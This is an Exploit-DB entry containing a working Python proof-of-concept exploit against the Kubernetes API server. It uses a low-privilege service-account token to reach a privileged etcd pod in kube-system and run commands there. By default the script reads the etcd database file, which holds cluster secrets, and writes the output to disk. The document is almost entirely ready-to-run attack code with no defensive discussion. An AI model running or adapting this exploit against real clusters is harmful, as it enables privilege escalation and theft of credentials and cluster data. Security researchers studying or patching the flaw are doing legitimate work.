Exploit-DB #46053
Description: Kubernetes - (Authenticated) Arbitrary Requests
Type: remote
Platform: multiple
Date: 2018-12-10
Author: evict

Exploit:
#!/usr/bin/env python3
import argparse
from ssl import wrap_socket
from socket import create_connection
from secrets import base64, token_bytes


def request_stage_1(namespace, pod, method, target, token):

    stage_1 = ""

    with open('stage_1', 'r') as stage_1_fd:
        stage_1 = stage_1_fd.read()

    return stage_1.format(namespace, pod, method, target,
                          token).encode('utf-8')


def request_stage_2(target, namespace, pod, container, command):

    stage_2 = ""

    command = f"command={'&command='.join(command.split(' '))}"

    with open('stage_2', 'r') as stage_2_fd:
        stage_2 = stage_2_fd.read()

    key = base64.b64encode(token_bytes(20)).decode('utf-8')

    return stage_2.format(namespace, pod, container, command,
                          target, key).encode('utf-8')


def run_exploit(target, stage_1, stage_2, method, filename, ppod,
                container):

    host, port = target.split(':')

    with create_connection((host, port)) as sock:

        with wrap_socket(sock) as ssock:
            print(f"[*] Building pipe using {method}...")
            ssock.send(stage_1)

            if b'400 Bad Request' in ssock.recv(4096):
                print('[+] Pipe opened :D')

            else:
                print('[-] Not sure if this went well...')

            print(f"[*] Attempting code exec on {ppod}/{container}")
            ssock.send(stage_2)

            if b'HTTP/1.1 101 Switching Protocols' not in ssock.recv(4096):
                print('[-] Exploit failed :(')

                return False

            data_incoming = True

            data = []

            while data_incoming:
                data_in = ssock.recv(4096)
                data.append(data_in)

                if not data_in:
                    data_incoming = False

            if filename:
                print(f"[*] Writing output to {filename} ....")

                with open(filename, 'wb+') as fd:
                    for msg in data:
                        fd.write(msg)

                    print('[+] Done!')

            else:
                print(''.join(msg.decode('unicode-escape')
                              for msg in data))


def main():

    parser = argparse.ArgumentParser(description='PoC for CVE-2[PII_REDACTED].')

    required = parser.add_argument_group('required arguments')
    optional = parser.add_argument_group('optional arguments')

    required.add_argument('--target', '-t', dest='target', type=str,
                          help='API server target:port', required=True)
    required.add_argument('--jwt', '-j', dest='token', type=str,
                          help='JWT token for service account', required=True)
    required.add_argument('--namespace', '-n', dest='namespace', type=str,
                          help='Namespace with method access',
                          default='default')
    required.add_argument('--pod', '-p', dest='pod', type=str,
                          required=True, help='Pod with method access')
    required.add_argument('--method', '-m', dest='method', choices=['exec',
                          'portforward', 'attach'], required=True)

    optional.add_argument('--privileged-namespace', '-s', dest='pnamespace',
                          help='Target namespace', default='kube-system')
    optional.add_argument('--privileged-pod', '-e', dest='ppod', type=str,
                          help='Target privileged pod',
                          default='etcd-kubernetes')
    optional.add_argument('--container', '-c', dest='container', type=str,
                          help='Target container', default='etcd')
    optional.add_argument('--command', '-x', dest='command', type=str,
                          help='Command to execute',
                          default='/bin/cat /var/lib/etcd/member/snap/db')
    optional.add_argument('--filename', '-f', dest='filename', type=str,
                          help='File to save output to', default=False)

    args = parser.parse_args()

    if args.target.find(':') == -1:
        print(f"[-] invalid target {args.target}")
        return False

    stage1 = request_stage_1(args.namespace, args.pod, args.method, args.target,
                             args.token)
    stage2 = request_stage_2(args.target, args.pnamespace, args.ppod,
                             args.container, args.command)

    run_exploit(args.target, stage1, stage2, args.method, args.filename,
                args.ppod, args.container)


if __name__ == '__main__':
    main()